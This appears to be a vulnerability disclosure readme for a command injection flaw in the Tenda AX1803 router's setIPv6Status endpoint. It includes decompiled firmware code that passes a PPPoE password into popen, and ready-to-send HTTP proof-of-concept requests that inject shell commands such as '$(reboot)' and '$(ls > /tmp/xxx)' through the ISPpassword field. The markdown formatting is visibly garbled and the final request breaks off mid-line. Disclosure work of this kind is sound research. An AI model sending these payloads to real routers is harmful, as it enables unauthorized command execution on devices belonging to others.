

main

...

IOT\_Vul / Tenda / tendaAX1803 / readme\_en.md



zhefox Update readme\_en.md

History

1 contributor

95 lines (45 sloc) | 3.16 KB

...

***#\* Tenda ax1803 has a command injection vulnerability\****

***##\* \* \* \ \* overview\*\*\*\****

- \*\*\*\*\* type \ \*\*\*\*\*: command injection vulnerability
- \* \* \* \ \* supplier \ \* \* \* \*: Tengda ( <https://tenda.com.cn> )
- \*\*\*\*\* product \*\*\*\*\*: WiFi router ax1803
- ***\*Firmware download address: \**** <https://www.tenda.com.cn/download/detail-3225.html>
- \*\*\*\*\*Firmware download address:  
\*\*\*\*\*[https://down.tenda.com.cn/uploadfile/AX1803/US\\_AX1803v2.1br\\_v1.0.0.1\\_2890\\_CN\\_ZG\\_YD01.zip](https://down.tenda.com.cn/uploadfile/AX1803/US_AX1803v2.1br_v1.0.0.1_2890_CN_ZG_YD01.zip)

Tendaax1803 router adopts WiFi 6 (802.11ax) technology, and the dual band concurrency rate is up to 1775mbps (2.4ghz:574mbps, 5ghz:1201mbps). Compared with the ac1200 router of the previous generation WiFi 5 standard, the wireless rate is increased by 50% and the transmission distance is longer; Equipped with 1.5GHz high-performance quad core processor, the network load capacity is comprehensively improved, data forwarding is faster, and long-term operation is more stable; Using ofdma+mu-mimo technology, more devices can access the Internet at the same time, the transmission efficiency is significantly improved, the delay is significantly reduced, and the online games and ultra clear videos for multiple people are more fluent. It is the first choice for building a multimedia home network! Command Execution Vulnerability in setipv6status

##\* \* \* \ \* description\*\*\*\*

###\* *1. product information:*\*

Overview of the latest version of Tenda ax1803 router simulation:

AX1803

AX1803 双频千兆WiFi6路由器 [资料下载](#)

[首页](#) / [AX1803](#) / [资料下载](#)

AX1803升级软件 v1.0.0.1.2890

[立即下载](#)

关联产品: AX1803 更新日期: 2021/7/30

1. 此固件仅适用于AX1803型号且当前软件版本为V1.0.0.X的机器升级，升级前请确认产品型号。
2. 解压下载文件，登录无线路由器管理界面，点击“系统管理” - “软件升级” - “本地升级”，选择“bin”结尾的文件来升级您的路由器。
3. 升级过程中不能断电，否则会导致无线路由器损坏。

\* 如果链接错误或其他问题，请反馈到 [tenda@tenda.com.cn](mailto:tenda@tenda.com.cn)或联系[在线客服](#)，谢谢。

###\* *2. Vulnerability details*\*

Tenda ax1803 is found to have a command injection vulnerability in the setipv6status function

```
1 FILE *__fastcall save_encrypted_data(const char *a1, const char *a2)
2 {
3     char s[536]; // [sp+8h] [bp-218h] BYREF
4
5     memset(s, 0, 0x200u);
6     snprintf(s, 0x200u, "echo -n %s | openssl aes-128-ecb -e -a -pbkdf2 -k 1qaz2wsx3edc4rfv -out %s", a1, a2);
7     return popen(s, "r");
8 }
```

When we set connect type = ' PPPoE ', we will get a command injection vulnerability after logging in.

```
70 "1",
71 v12,
72 v13,
73 v14,
74 v15);
75 if ( !strcmp(v4, "0") )
76 {
77 LABEL_17:
78     v8 = 1;
79     goto LABEL_19;
80 }
81 GetValue("wan1.connecttype", &v17);
82 v6 = atoi((const char *)&v17);
83 if ( !strcmp(v5, "DHCP") )
84 {
85     SetValue("ipv6.wan.type", "0");
86     SetValue("ipv6.wan.dhc.iapd", "1");
87     v7 = 0;
88     goto LABEL_15;
89 }
90 if ( !strcmp(v5, "PPPoE") )
91 {
92     SetValue("ipv6.wan.type", "2");
93     SetValue("ipv6.wan.dhc.iapd", "1");
94     SetValue(&unk_1CCC2B, v11);
95     SetValue(&unk_1CCC3C, v10);
96     save_encrypted_data((int)v10, (int)/tmp/pppoe_password");
97     v7 = 2;
98     goto LABEL_15;
99 }
100 if ( !strcmp(v5, "Static") )
101 {
102     SetValue("ipv6.wan.type", "1");
103     SetValue("ipv6.wan.dhc.iapd", "0");
104     if ( !parse_addr(v12, v19, 40, v18, 8) )
105     {
106         SetValue("ipv6.wan.addr", v19);
107         SetValue("ipv6.wan.prefix_len", v18);
108         SetValue("ipv6.wan.route", v13);
109         SetValue(&unk_1CD677, v14);
110         SetValue(&unk_1CD68F, v15);
111         v7 = 1;
112 LABEL_15:
113         if ( (v7 == 2) != (v6 == 2) )
114         {
00037DC0 fromAdvSetIpv6:70 (47DC0)
```

```

1 POST /goform/setIPv6Status HTTP/1.1 1
2 Host: 192.168.68.149 2
3 Connection: close 3
4 Content-Length: 168 4
5 sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="98", 5
  "Google Chrome";v="98" 6
6 Accept: */* 7
7 Content-Type: application/x-www-form-urlencoded; 7
  charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 sec-ch-ua-mobile: ?0
10 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X
  10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
  Chrome/98.0.4758.109 Safari/537.36
11 sec-ch-ua-platform: "macOS"
12 Origin: https://192.168.68.149
13 Sec-Fetch-Site: same-origin
14 Sec-Fetch-Mode: cors
15 Sec-Fetch-Dest: empty
16 Referer: https://192.168.68.149/main.html
17 Accept-Encoding: gzip, deflate
18 Accept-Language: zh-CN,zh;q=0.9
19 Cookie: password=
  edeff4d6d98974e46457a587e2e724a2ndy5gk
20
21 IPv6En=1&conType=PPPoE&ISPUsername=addasdas&
  ISPpassword=$(reboot)&prefixDelegate=0&wanAddr=%2F&
  gateWay=&lanType=undefined&wanPreDNS=&wanAltDNS=&
  lanPrefix=undefined%2F64

```

### ## \*3. Recurring vulnerabilities and POCS\*

To reproduce the vulnerability, the following steps can be followed:

Start firmware through QEMU system or other methods (real machine)

Attack with the following POC attacks

Note to replace the password field in the cookie

```

POST /goform/setIPv6Status HTTP/1.1
Host: 192.168.2.1
Connection: close
Content-Length: 191
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/98.0.4758.109 Safari/537.36
sec-ch-ua-platform: "macOS"

```

Origin: https://192.168.2.1

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: https://192.168.2.1/main.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: password=edef4d6d98974e46457a587e2e724a2ndy5gk

IPv6En=1&conType=PPPoE&ISPusername=addasdas&ISPpassword=\$(ls >

/tmp/xxx)&prefixDelegate=0&wanAddr=%2F&gateWay=&lanType=undefined&wanPreDNS=&wanAltD

